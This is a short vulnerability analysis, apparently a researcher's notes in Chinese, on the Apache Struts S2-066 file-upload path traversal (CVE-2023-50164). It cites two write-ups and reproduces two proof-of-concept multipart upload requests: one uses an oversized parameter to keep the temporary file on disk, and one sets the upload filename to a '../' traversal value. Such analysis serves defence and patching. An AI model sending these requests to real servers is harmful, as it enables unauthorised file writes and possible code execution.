漏洞描述里提到可通过伪造文件上传的参数导致目录穿越，看版本比对，有两个 Commit 引起我的关注，一个是 Always delete uploaded file，另一个是 Makes HttpParameters case-insensitive。前者的作用是确保上传的临时文件被正确上传，在修复之前，通过构造超长的文件上传参数可以让临时文件继续留存在磁盘中；
- https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)
- https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/
POST /s2_066_war_exploded/upload.action HTTP/1.1
Host: localhost:8080
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Length: 593
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="upload"; filename="poc.txt"
Content-Type: text/plain
test
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="caption";
{{randstr(4097,4097)}}
------WebKitFormBoundary5WJ61X4PRwyYKlip--
POST /s2_066_war_exploded/upload.action HTTP/1.1
Host: localhost:8080
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Length: 593
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="upload"; filename="poc.txt"
Content-Type: text/plain
test
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="uploadFileName";
../../poc.txt
------WebKitFormBoundary5WJ61X4PRwyYKlip--